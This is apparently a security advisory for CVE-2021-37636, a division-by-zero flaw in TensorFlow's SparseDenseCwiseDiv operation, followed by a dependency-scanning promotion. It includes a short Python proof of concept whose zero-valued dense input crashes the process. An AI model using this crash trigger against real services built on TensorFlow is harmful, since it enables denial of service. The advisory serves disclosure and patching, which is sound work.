CVE-2021-37636: Floating point exception in `SparseDenseCwiseDiv`
(updated )
The implementation of tf.raw_ops.SparseDenseCwiseDiv is vulnerable to a division by 0 error:
import tensorflow as tf
import numpy as np
tf.raw_ops.SparseDenseCwiseDiv(
sp_indices=np.array([[4]]),
sp_values=np.array([-400]),
sp_shape=np.array([647.]),
dense=np.array([0]))
References
- github.com/advisories/GHSA-hp4c-x6r7-6555
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-549.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-747.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-258.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/d9204be9f49520cdaaeb2541d1dc5187b23f31d9
- github.com/tensorflow/tensorflow/security/advisories/GHSA-hp4c-x6r7-6555
- nvd.nist.gov/vuln/detail/CVE-2021-37636
Code Behaviors & Features
Detect and mitigate CVE-2021-37636 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →